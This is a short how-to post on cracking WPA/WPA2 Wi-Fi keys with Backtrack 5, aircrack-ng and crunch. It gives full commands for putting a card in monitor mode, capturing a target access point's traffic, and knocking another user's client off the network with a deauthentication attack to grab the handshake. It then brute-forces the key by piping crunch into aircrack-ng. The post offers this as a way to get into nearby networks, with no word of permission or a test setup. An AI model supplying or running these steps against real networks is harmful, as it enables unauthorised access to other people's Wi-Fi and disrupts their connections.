Hacking WPA/WPA2 using Backtrack 5/aircrack-ng/crunch

If you're like me, you've probably wanted a short and quick way to hack a wifi without reading a whole lot of instructions or watching some crap or blurry videos. So, here's my way of hacking a wifi.

Requirements:

• Backtrack 5
• A  NEARBY WPA/WPA2 secured wireless access point (IMPORANT!)
• Another guy NEARBY using the same wifi

Steps:

1. Open up the terminal in Backtrack
2. Type: 
• airmon-ng
3. Choose your wireless card. eg. wlan0
4. Type:
• airmon-ng start wlan0
5. Type:
• airodump-ng mon0
6. Note down the MAC address of the access point eg. 01:23:45:67:89:ab
7. Note down the MAC address of one of the clients eg. 23:45:67:89:ab:01
8. Note down the channel of the client eg. 11
9. Type:
• airodump-ng -w capturefile --bssid 01:23:45:67:89:ab -c 11 mon0
10. Open up a new terminal
11. Type:
• aireplay-ng --deauth 1 -a 01:23:45:67:89:ab -c 23:45:67:89:ab:01 mon0
12. Wait until WPA handshake is shown on the other (airodump-ng) window
13. Type:
• crunch 8 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 | aircrack-ng --bssid 01:23:45:67:89:ab -w- capturefile-01.cap

Notes: (if you failed)

• increase the number '8' . eg.

• crunch 8 10 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 | aircrack-ng --bssid 01:23:45:67:89:ab -w- capturefile-01.cap

•  change the charset. eg. 
• crunch 8 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%&*()-_+={[}];:"',<.>?/|\. | aircrack-ng --bssid 01:23:45:67:89:ab -w- capturefile-01.cap